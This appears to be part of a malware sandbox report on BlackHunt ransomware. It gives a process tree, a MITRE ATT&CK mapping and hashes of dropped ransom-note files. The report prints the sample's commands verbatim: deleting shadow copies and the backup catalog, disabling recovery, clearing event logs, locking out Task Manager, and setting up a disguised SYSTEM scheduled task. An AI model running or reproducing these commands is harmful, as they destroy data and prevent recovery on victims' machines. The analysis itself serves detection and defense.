  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:1144
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:832
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:1936
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:2384
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2244
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2468
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:552
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:2212
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:772
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2452
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:312
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:1344
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:1464
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:1680
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:1652
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:2180
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:2636
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:676
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1556
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2240
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1376
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1632
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2040
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1100
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:2248
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:944
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:2252
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:1508
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe" /F
  2⤵
  PID:2448
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:3048
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:2508
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2428
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:2044
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:884
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:1956
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:2652
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:1500
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:1192
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:876
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2288
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:1928
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3056
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:1220
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2548
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:1180
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:2600
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:2660
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:2380
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:996
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:2016
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:2248
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D F:\
    3⤵
    - Enumerates connected drives
    PID:2448
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:2360
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:488
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:2176
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    - Enumerates connected drives
    PID:2552
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:1332
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl System
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2284
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:3008
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Setup
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2748
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:2372
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Application
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:1808
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:268
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2128
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:2076
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security /e:false
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:1496
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:900
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:1696
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:2880
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1472
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:2204
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2312
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:2476
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:2112
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:2508
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:1964
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:1956
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:2292
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:2888
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
    3⤵
    PID:392
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:1768
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
    3⤵
    PID:868
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:2732
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
    3⤵
    PID:1688
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:880
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
    3⤵
    PID:2952
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:2480
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:1076
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:1916
- - C:\Windows\system32\taskkill.exe
    taskkill /IM mshta.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2320
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:832
- - C:\Windows\system32\notepad.exe
    notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
    3⤵
    PID:2764
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  PID:1344
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:2944
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe"
  2⤵
  - Deletes itself
  PID:2388
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:2576

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2908

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1632

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:2860

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:2024

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

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Downloads

C:\ProgramData\#BlackHunt_Private.key

Filesize
1KB

MD5
7ce7ee2a639363e6fb62855c6fdb3321

SHA1
918e1551f2a9bcc1e68c213ec92a9fc910f151c2

SHA256
ef1d665c694d5728b08417f37f3efc7267feac6a236fe91cc55edf4aabb6e8b2

SHA512
080eeb334257ee39a54be4735ce8061a520903d0b38cbcc4337b680c0e8d4f4db75fc8bbbb6a04e302e3bb6e58c39d4b8473f12ae0691bd6b0600843be5bb5f7

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.hta

Filesize
12KB

MD5
6c4b2ee5cad6684d2c04bb6b421ccd93

SHA1
418192667f16159a75921d623567fab954b781be

SHA256
59a7ecb7d5c90244bbb768456af163f1a5a1b97ad4c4d5e43dcaf18f4b204f85

SHA512
43e20f1fb41fe149b664951bf94b91880aaa7cd5ab3c655b46acd00902d7b1a973c3fa4126440bd533eced2300cc5fa77b1eb737b42cf0f311df46175c0d5cc8

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.txt

Filesize
684B

MD5
6b9327f4791f7af03c2f59378eb72bf9

SHA1
640d581d654bc09da3f39de284b806756e12a2cf

SHA256
fca61e6aafd5cee8c9b30af01a22164aef51f521a137de9f8aa627c07cfdd412

SHA512
397e871976b61a4aad7dd82f144602e6a2e2527429a47e492dd07d0b10215f2dc7d4bac2691ebcec2a3ae637743b6b2ea94726e854701ebfcd45db3d08a2f58d

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads